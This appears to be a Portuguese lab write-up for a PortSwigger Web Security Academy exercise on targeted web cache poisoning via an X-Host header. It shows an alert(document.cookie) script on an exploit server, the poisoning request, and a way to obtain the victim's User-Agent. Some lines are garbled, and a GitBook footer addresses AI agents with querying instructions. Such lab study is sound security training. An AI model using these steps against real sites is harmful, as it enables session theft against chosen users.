> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/cache-poisoning/targeted-cache-poisoning-via-unknown-header.md). # Envenenamento de cache direcionado via um cabeçalho desconhecido Notas sobre envenenamento de cache direcionado via um cabeçalho desconhecido para os laboratórios do PortSwigger Web Security Academy, incluindo fluxo de exploração, teste de payload, validação no Burp Suite e contexto de remediação. ### Envenenamento Direcionado de Cache da Web Usando um Cabeçalho Desconhecido Contamine o cache com uma resposta que executa `alert(document.cookie)` no navegador de um visitante, **mas apenas para um subconjunto de usuários** correspondente à vítima. #### Observação inicial * A requisição/resposta é interceptada.

Com a **Param Miner** extensão, iniciamos a detecção de cabeçalhos exploráveis

* A ferramenta revela um \*\*cabeçalho

Se `X-Host: test.com` é enviado, o valor é reinjetado na resposta (em `src`). ```http X-Host: test.com ``` #### Implementação do Payload 1. No Exploit Server\*\*, criamos um recurso **com o caminho/título**: * `/resources/js/tracking.js`

Conteúdo do arquivo: ```javascript alert(document.cookie) ```

#### Envenenamento de Cache com foco em X-Host * A requisição é retornada com: ```http X-Host: exploit-0ae9007b03acd9a1802ccfa901070019.exploit-server.net ```

A página então carrega o `tracking.js` do servidor de exploração, o que dispara o alerta.

#### Mirando a Vítima com o User-Agent * Observamos que a resposta varia de acordo com `User-Agent` (via `Vary`), então, para alcançar a vítima, devemos **conhecer o User-Agent da vítima**.

Publique um comentário que force uma requisição ao servidor de exploração: ```http

```

Nos registros do servidor de exploração, o User-Agent da vítima é recuperado:

`Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36` --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/pt-br/web/cache-poisoning/targeted-cache-poisoning-via-unknown-header.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.